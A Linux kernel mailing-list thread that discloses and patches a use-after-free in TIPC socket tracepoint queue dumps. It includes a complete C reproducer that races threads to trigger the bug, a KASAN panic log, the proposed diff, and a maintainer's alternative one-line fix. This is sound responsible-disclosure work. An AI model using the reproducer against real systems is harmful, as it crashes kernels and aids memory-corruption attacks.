[PATCH net 0/1] tipc: avoid UAF in trace queue dumps

[PATCH net 0/1] tipc: avoid UAF in trace queue dumps

[Ren Wei]

From: Zihan Xi <xizh2024@lzu.edu.cn>

Hi Linux kernel maintainers,

We found and validated a bug in net/tipc/trace.c and net/tipc/socket.c.
The bug is reachable by a local process that can create TIPC sockets and
enable TIPC tracepoints. We've tested the fix with the reproducer below,
and it should not affect any other functionality.

This series contains one patch:
  1/1 tipc: stop socket trace dumps from dereferencing live skb queues

We provide bug details, reproducer steps, and a crash log below.

---- details below ----

Bug details:

tipc_sk_dump() is used by TIPC socket tracepoints, including the poll trace
path. With TIPC_DUMP_ALL it asks tipc_list_dump() to print the socket write
and receive queues, and it also prints the socket backlog head and tail by
passing sk->sk_backlog.head/tail directly to tipc_skb_dump().

These are live socket queues. The trace helper does not have a reliable skb
lifetime guarantee for every queue member it inspects: TIPC socket queues are
serialized by socket or other outer locks, and not all lists use the embedded
sk_buff_head lock as the mutator lock. A concurrent dequeue/free can
therefore leave the trace helper dereferencing a stale skb pointer.

The patch keeps the tracepoint ABI and buffer sizing intact, but makes the
socket trace dump report only the write queue, receive queue, and backlog
lengths. This removes the unsafe skb dereferences from the trace path.

Reproducer:

Guest:
    gcc -O2 -pthread -Wall /root/tipc_poc.c -o /root/tipc_poc
    mount -t tracefs nodev /sys/kernel/tracing 2>/dev/null || true
    tipc node set identity 1.1.1
    timeout 30s /root/tipc_poc

Host:
    make O=/var/cache/linux-patch/tipc-list-dump-build-ext4 -j$(nproc) bzImage

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/tipc.h>
#include <poll.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#define TRACE "/sys/kernel/tracing"
#define TIPC_TYPE 5555

static volatile int stop_flag;
static int srv_fd, cli_fd;

static void write_file(const char *path, const char *s)
{
    int fd = open(path, O_WRONLY | O_TRUNC);
    if (fd < 0) { perror(path); exit(1); }
    if (write(fd, s, strlen(s)) < 0) { perror("write"); exit(1); }
    close(fd);
}

static void enable_trace(void)
{
    char path[256];
    write_file(TRACE "/tracing_on", "0\n");
    write_file(TRACE "/trace", "");
    const char *evs[] = {"tipc_sk_poll", "tipc_sk_filter_rcv", "tipc_sk_overlimit1", "tipc_sk_overlimit2"};
    for (int i = 0; i < 4; i++) {
        snprintf(path, sizeof(path), TRACE "/events/tipc/%s/enable", evs[i]);
        write_file(path, "1\n");
    }
    write_file(TRACE "/tracing_on", "1\n");
}

static void *sender(void *arg)
{
    char payload[4096];
    long cnt = 0;
    memset(payload, 'A', sizeof(payload));
    struct sockaddr_tipc dst = {0};
    dst.family = AF_TIPC;
    dst.addrtype = TIPC_SERVICE_ADDR;
    dst.scope = TIPC_CLUSTER_SCOPE;
    dst.addr.name.name.type = TIPC_TYPE;
    dst.addr.name.name.instance = 1;
    dst.addr.name.domain = 0;
    while (!stop_flag) {
        if (sendto(cli_fd, payload, sizeof(payload), 0, (struct sockaddr *)&dst, sizeof(dst)) >= 0)
            cnt++;
    }
    printf("sent %ld\n", cnt);
    return NULL;
}

static void *poller(void *arg)
{
    struct pollfd pfd = {.fd = srv_fd, .events = POLLIN};
    long cnt = 0;
    while (!stop_flag) {
        poll(&pfd, 1, 0);
        cnt++;
    }
    printf("poll %ld\n", cnt);
    return NULL;
}

static void *receiver(void *arg)
{
    char buf[4096];
    long cnt = 0;
    fcntl(srv_fd, F_SETFL, fcntl(srv_fd, F_GETFL) | O_NONBLOCK);
    while (!stop_flag) {
        ssize_t n = recv(srv_fd, buf, sizeof(buf), 0);
        if (n > 0) cnt++;
        else if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK) {}
    }
    printf("recv %ld\n", cnt);
    return NULL;
}

int main(void)
{
    enable_trace();
    srv_fd = socket(AF_TIPC, SOCK_RDM, 0);
    if (srv_fd < 0) { perror("socket srv"); return 1; }
    int rcvbuf = 1 << 20;
    setsockopt(srv_fd, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(rcvbuf));
    struct sockaddr_tipc srv = {0};
    srv.family = AF_TIPC;
    srv.addrtype = TIPC_SERVICE_RANGE;
    srv.scope = TIPC_CLUSTER_SCOPE;
    srv.addr.nameseq.type = TIPC_TYPE;
    srv.addr.nameseq.lower = 1;
    srv.addr.nameseq.upper = 1;
    if (bind(srv_fd, (struct sockaddr *)&srv, sizeof(srv)) < 0) { perror("bind"); return 1; }
    struct sockaddr_tipc name = {0};
    socklen_t namelen = sizeof(name);
    if (getsockname(srv_fd, (struct sockaddr *)&name, &namelen) < 0) { perror("getsockname"); return 1; }
    unsigned int portid = name.addr.id.ref;
    printf("server portid %u\n", portid);
    char filter[128];
    snprintf(filter, sizeof(filter), "%u 0 0 0 0\n", portid);
    write_file("/proc/sys/net/tipc/sk_filter", filter);

    cli_fd = socket(AF_TIPC, SOCK_RDM, 0);
    if (cli_fd < 0) { perror("socket cli"); return 1; }
    int imp = TIPC_CRITICAL_IMPORTANCE;
    setsockopt(cli_fd, SOL_TIPC, TIPC_IMPORTANCE, &imp, sizeof(imp));

    pthread_t th[3];
    pthread_create(&th[0], NULL, sender, NULL);
    pthread_create(&th[1], NULL, poller, NULL);
    pthread_create(&th[2], NULL, receiver, NULL);
    sleep(5);
    stop_flag = 1;
    for (int i = 0; i < 3; i++) pthread_join(th[i], NULL);
    system("tail -80 /sys/kernel/tracing/trace");
    return 0;
}
------END poc.c--------

----BEGIN crash log----
[  282.625215][ T9764] page_owner tracks the page as allocated
[  282.626124][ T9764] page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 9763, tgid 9760 (python3), ts 282622559122, free_ts 280322580853
[  282.628916][ T9764] page last free pid 9750 tgid 9750 stack trace:
[  282.630090][ T9764] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[  282.631030][ T9764] CPU: 1 UID: 0 PID: 9764 Comm: python3 Not tainted 7.1.0-rc2 #10 PREEMPT(full)
[  282.632219][ T9764] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  282.633618][ T9764] Call Trace:
[  282.634056][ T9764]  <TASK>
[  282.634440][ T9764]  vpanic+0x6c3/0x790
[  282.634974][ T9764]  ? __pfx_vpanic+0x10/0x10
[  282.635573][ T9764]  ? srso_alias_return_thunk+0x5/0xfbef5
[  282.636323][ T9764]  ? srso_alias_return_thunk+0x5/0xfbef5
[  282.637064][ T9764]  ? irqentry_exit+0x24d/0x830
[  282.637683][ T9764]  ? srso_alias_return_thunk+0x5/0xfbef5
[  282.638419][ T9764]  ? lockdep_hardirqs_on+0x7b/0x110
[  282.639112][ T9764]  ? tipc_skb_dump+0x14a4/0x14d0
[  282.639756][ T9764]  panic+0xca/0xd0
[  282.640261][ T9764]  ? __pfx_panic+0x10/0x10
[  282.640855][ T9764]  check_panic_on_warn+0x61/0x80
[  282.641542][ T9764]  end_report+0x13e/0x180
[  282.642133][ T9764]  kasan_report+0xf4/0x120
[  282.642764][ T9764]  ? tipc_skb_dump+0x14a4/0x14d0
[  282.643600][ T9764]  tipc_skb_dump+0x14a4/0x14d0
[  282.644400][ T9764]  tipc_list_dump+0x1b6/0x2a0
[  282.645093][ T9764]  tipc_sk_dump+0xa92/0xcc0
[  282.645700][ T9764]  ? trace_event_buffer_reserve+0x150/0x300
[  282.646510][ T9764]  trace_event_raw_event_tipc_sk_class+0x2c1/0x490
[  282.647402][ T9764]  ? __pfx_trace_event_raw_event_tipc_sk_class+0x10/0x10
[  282.648345][ T9764]  ? srso_alias_return_thunk+0x5/0xfbef5
[  282.649114][ T9764]  ? srso_alias_return_thunk+0x5/0xfbef5
[  282.649884][ T9764]  ? srso_alias_return_thunk+0x5/0xfbef5
[  282.650654][ T9764]  ? __pfx_tipc_poll+0x10/0x10
[  282.651310][ T9764]  tipc_poll+0x290/0x590
[  282.651895][ T9764]  sock_poll+0x134/0x490
[  282.652492][ T9764]  do_sys_poll+0x507/0xbf0
[  282.653113][ T9764]  ? __pfx_do_sys_poll+0x10/0x10
[  282.653829][ T9764]  ? do_raw_spin_lock+0x12d/0x270
[  282.654597][ T9764]  ? srso_alias_return_thunk+0x5/0xfbef5
[  282.655369][ T9764]  ? do_futex+0x1cd/0x230
[  282.655977][ T9764]  ? __pfx_do_futex+0x10/0x10
[  282.656614][ T9764]  ? srso_alias_return_thunk+0x5/0xfbef5
[  282.657381][ T9764]  __x64_sys_poll+0x181/0x3e0
[  282.658035][ T9764]  ? __pfx___x64_sys_poll+0x10/0x10
[  282.658745][ T9764]  ? srso_alias_return_thunk+0x5/0xfbef5
[  282.659515][ T9764]  ? rcu_is_watching+0x12/0xc0
[  282.660208][ T9764]  do_syscall_64+0x116/0xf80
[  282.660823][ T9764]  ? irqentry_exit+0x117/0x830
[  282.661476][ T9764]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  282.662266][ T9764] RIP: 0033:0x7f332e77d9ee
[  282.662861][ T9764] Code: 08 0f 85 f5 4b ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 80 00 00 00 00 48 83 ec 08
[  282.664714][ T9764] RSP: 002b:00007f332d6fdb58 EFLAGS: 00000246 ORIG_RAX: 0000000000000007
[  282.665298][ T9764] RAX: ffffffffffffffda RBX: 00007f332d6fe6c0 RCX: 00007f332e77d9ee
[  282.665838][ T9764] RDX: 0000000000000000 RSI: 0000000000000001 RDI: 00007f332e604450
[  282.666442][ T9764] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[  282.666986][ T9764] R10: 0000000000000000 R11: 0000000000000246 R12: 00007f332e1834c0
[  282.667563][ T9764] R13: 000000000c939210 R14: 00007f332d6fe640 R15: 00007f332e19af10
[  282.668176][ T9764]  </TASK>
[  282.669068][ T9764] Kernel Offset: disabled
[  282.669366][ T9764] Rebooting in 86400 seconds..
-----END crash log-----

Best regards,
Zihan Xi

Zihan Xi (1):
  tipc: avoid use-after-free in trace queue dumps

 net/tipc/socket.c | 12 +++---------
 net/tipc/trace.c  | 44 +++++---------------------------------------
 2 files changed, 8 insertions(+), 48 deletions(-)

-- 
2.43.0

[PATCH net 1/1] tipc: avoid use-after-free in trace queue dumps

[Ren Wei]

From: Zihan Xi <xizh2024@lzu.edu.cn>

TIPC trace helpers can dump live socket queues from contexts such as
poll(). tipc_list_dump() walks the write and receive skb queues and dumps
the head, tail or selected skb entries, while tipc_sk_dump() also dumps the
socket backlog head and tail directly.

Those trace paths do not have a reliable skb lifetime guarantee for every
queue they inspect. TIPC socket queues are serialized by socket or other
outer locks, and not all skb lists use the embedded sk_buff_head lock
as the mutator lock. A concurrent dequeue/free can therefore leave the
trace helper dereferencing a stale skb pointer.

Avoid dereferencing queue members from the socket trace dump path. Keep the
trace ABI and buffer sizing unchanged, but report only queue lengths
for the write queue, receive queue, and backlog. This preserves useful
queue state in trace output without pretending that the trace helper can
safely pin or walk all caller-provided lists.

Fixes: b4b9771bcbbd ("tipc: enable tracepoints in tipc")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <xizh2024@lzu.edu.cn>
Reviewed-by: Ren Wei <enjou1224z@gmail.com>
---
 net/tipc/socket.c | 12 +++---------
 net/tipc/trace.c  | 44 +++++---------------------------------------
 2 files changed, 8 insertions(+), 48 deletions(-)

diff --git a/net/tipc/socket.c b/net/tipc/socket.c
index e564341e0216..4b9eb0b401fe 100644
--- a/net/tipc/socket.c
+++ b/net/tipc/socket.c
@@ -4000,15 +4000,9 @@ int tipc_sk_dump(struct sock *sk, u16 dqueues, char *buf)
 		i += tipc_list_dump(&sk->sk_receive_queue, false, buf + i);
 	}
 
-	if (dqueues & TIPC_DUMP_SK_BKLGQ) {
-		i += scnprintf(buf + i, sz - i, "sk_backlog:\n  head ");
-		i += tipc_skb_dump(sk->sk_backlog.head, false, buf + i);
-		if (sk->sk_backlog.tail != sk->sk_backlog.head) {
-			i += scnprintf(buf + i, sz - i, "  tail ");
-			i += tipc_skb_dump(sk->sk_backlog.tail, false,
-					   buf + i);
-		}
-	}
+	if (dqueues & TIPC_DUMP_SK_BKLGQ)
+		i += scnprintf(buf + i, sz - i, "sk_backlog: len = %d\n",
+				       READ_ONCE(sk->sk_backlog.len));
 
 	return i;
 }
diff --git a/net/tipc/trace.c b/net/tipc/trace.c
index 7d2931521e0e..399538d0a369 100644
--- a/net/tipc/trace.c
+++ b/net/tipc/trace.c
@@ -158,49 +158,15 @@ int tipc_skb_dump(struct sk_buff *skb, bool more, char *buf)
 /**
  * tipc_list_dump - dump TIPC skb list/queue
  * @list: list of skbs to be dumped
- * @more: dump more?
- *        - false: dump only the head & tail skbs
- *        - true: dump the first & last 5 skbs
+ * @more: unused; kept for tracepoint ABI compatibility
  * @buf: returned buffer of dump data in format
  */
 int tipc_list_dump(struct sk_buff_head *list, bool more, char *buf)
 {
-	int i = 0;
-	size_t sz = (more) ? LIST_LMAX : LIST_LMIN;
-	u32 count, len;
-	struct sk_buff *hskb, *tskb, *skb, *tmp;
-
-	if (!list) {
-		i += scnprintf(buf, sz, "(null)\n");
-		return i;
-	}
+	size_t sz = more ? LIST_LMAX : LIST_LMIN;
 
-	len = skb_queue_len(list);
-	i += scnprintf(buf, sz, "len = %d\n", len);
+	if (!list)
+		return scnprintf(buf, sz, "(null)\n");
 
-	if (!len)
-		return i;
-
-	if (!more) {
-		hskb = skb_peek(list);
-		i += scnprintf(buf + i, sz - i, "  head ");
-		i += tipc_skb_dump(hskb, false, buf + i);
-		if (len > 1) {
-			tskb = skb_peek_tail(list);
-			i += scnprintf(buf + i, sz - i, "  tail ");
-			i += tipc_skb_dump(tskb, false, buf + i);
-		}
-	} else {
-		count = 0;
-		skb_queue_walk_safe(list, skb, tmp) {
-			count++;
-			if (count == 6)
-				i += scnprintf(buf + i, sz - i, "  .\n  .\n");
-			if (count > 5 && count <= len - 5)
-				continue;
-			i += scnprintf(buf + i, sz - i, "  #%d ", count);
-			i += tipc_skb_dump(skb, false, buf + i);
-		}
-	}
-	return i;
+	return scnprintf(buf, sz, "len = %u\n", skb_queue_len_lockless(list));
 }
-- 
2.43.0

RE: [PATCH net 1/1] tipc: avoid use-after-free in trace queue dumps

[Tung Quang Nguyen]

>Subject: [PATCH net 1/1] tipc: avoid use-after-free in trace queue dumps
>
>From: Zihan Xi <xizh2024@lzu.edu.cn>
>
>TIPC trace helpers can dump live socket queues from contexts such as poll().
>tipc_list_dump() walks the write and receive skb queues and dumps the head,
>tail or selected skb entries, while tipc_sk_dump() also dumps the socket
>backlog head and tail directly.
>
>Those trace paths do not have a reliable skb lifetime guarantee for every queue
>they inspect. TIPC socket queues are serialized by socket or other outer locks,
>and not all skb lists use the embedded sk_buff_head lock as the mutator lock.
>A concurrent dequeue/free can therefore leave the trace helper dereferencing
>a stale skb pointer.
>
>Avoid dereferencing queue members from the socket trace dump path. Keep
>the trace ABI and buffer sizing unchanged, but report only queue lengths for
>the write queue, receive queue, and backlog. This preserves useful queue state
>in trace output without pretending that the trace helper can safely pin or walk
>all caller-provided lists.
>
>Fixes: b4b9771bcbbd ("tipc: enable tracepoints in tipc")
>Cc: stable@vger.kernel.org
>Reported-by: Vega <vega@nebusec.ai>
>Assisted-by: Codex:gpt-5.4
>Signed-off-by: Zihan Xi <xizh2024@lzu.edu.cn>
>Reviewed-by: Ren Wei <enjou1224z@gmail.com>
>---
> net/tipc/socket.c | 12 +++---------
> net/tipc/trace.c  | 44 +++++---------------------------------------
> 2 files changed, 8 insertions(+), 48 deletions(-)
>
>diff --git a/net/tipc/socket.c b/net/tipc/socket.c index
>e564341e0216..4b9eb0b401fe 100644
>--- a/net/tipc/socket.c
>+++ b/net/tipc/socket.c
>@@ -4000,15 +4000,9 @@ int tipc_sk_dump(struct sock *sk, u16 dqueues,
>char *buf)
> 		i += tipc_list_dump(&sk->sk_receive_queue, false, buf + i);
> 	}
>
>-	if (dqueues & TIPC_DUMP_SK_BKLGQ) {
>-		i += scnprintf(buf + i, sz - i, "sk_backlog:\n  head ");
>-		i += tipc_skb_dump(sk->sk_backlog.head, false, buf + i);
>-		if (sk->sk_backlog.tail != sk->sk_backlog.head) {
>-			i += scnprintf(buf + i, sz - i, "  tail ");
>-			i += tipc_skb_dump(sk->sk_backlog.tail, false,
>-					   buf + i);
>-		}
>-	}
>+	if (dqueues & TIPC_DUMP_SK_BKLGQ)
>+		i += scnprintf(buf + i, sz - i, "sk_backlog: len = %d\n",
>+				       READ_ONCE(sk->sk_backlog.len));
>
> 	return i;
> }
>diff --git a/net/tipc/trace.c b/net/tipc/trace.c index
>7d2931521e0e..399538d0a369 100644
>--- a/net/tipc/trace.c
>+++ b/net/tipc/trace.c
>@@ -158,49 +158,15 @@ int tipc_skb_dump(struct sk_buff *skb, bool more,
>char *buf)
> /**
>  * tipc_list_dump - dump TIPC skb list/queue
>  * @list: list of skbs to be dumped
>- * @more: dump more?
>- *        - false: dump only the head & tail skbs
>- *        - true: dump the first & last 5 skbs
>+ * @more: unused; kept for tracepoint ABI compatibility
>  * @buf: returned buffer of dump data in format
>  */
> int tipc_list_dump(struct sk_buff_head *list, bool more, char *buf)  {
>-	int i = 0;
>-	size_t sz = (more) ? LIST_LMAX : LIST_LMIN;
>-	u32 count, len;
>-	struct sk_buff *hskb, *tskb, *skb, *tmp;
>-
>-	if (!list) {
>-		i += scnprintf(buf, sz, "(null)\n");
>-		return i;
>-	}
>+	size_t sz = more ? LIST_LMAX : LIST_LMIN;
>
>-	len = skb_queue_len(list);
>-	i += scnprintf(buf, sz, "len = %d\n", len);
>+	if (!list)
>+		return scnprintf(buf, sz, "(null)\n");
>
>-	if (!len)
>-		return i;
>-
>-	if (!more) {
>-		hskb = skb_peek(list);
>-		i += scnprintf(buf + i, sz - i, "  head ");
>-		i += tipc_skb_dump(hskb, false, buf + i);
>-		if (len > 1) {
>-			tskb = skb_peek_tail(list);
>-			i += scnprintf(buf + i, sz - i, "  tail ");
>-			i += tipc_skb_dump(tskb, false, buf + i);
>-		}
>-	} else {
>-		count = 0;
>-		skb_queue_walk_safe(list, skb, tmp) {
>-			count++;
>-			if (count == 6)
>-				i += scnprintf(buf + i, sz - i, "  .\n  .\n");
>-			if (count > 5 && count <= len - 5)
>-				continue;
>-			i += scnprintf(buf + i, sz - i, "  #%d ", count);
>-			i += tipc_skb_dump(skb, false, buf + i);
>-		}
>-	}
>-	return i;
>+	return scnprintf(buf, sz, "len = %u\n", skb_queue_len_lockless(list));

 This patch is wrong because it removes information that we need for tracing.
Could you please test below patch to see if it fixes the issue you reported ?

---
 net/tipc/socket.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/net/tipc/socket.c b/net/tipc/socket.c
index e564341e0216..a006fc98a9b8 100644
--- a/net/tipc/socket.c
+++ b/net/tipc/socket.c
@@ -795,7 +795,7 @@ static __poll_t tipc_poll(struct file *file, struct socket *sock,
        __poll_t revents = 0;

        sock_poll_wait(file, sock, wait);
-       trace_tipc_sk_poll(sk, NULL, TIPC_DUMP_ALL, " ");
+       trace_tipc_sk_poll(sk, NULL, TIPC_DUMP_NONE, " ");

        if (sk->sk_shutdown & RCV_SHUTDOWN)
                revents |= EPOLLRDHUP | EPOLLIN | EPOLLRDNORM;
-- 
2.43.0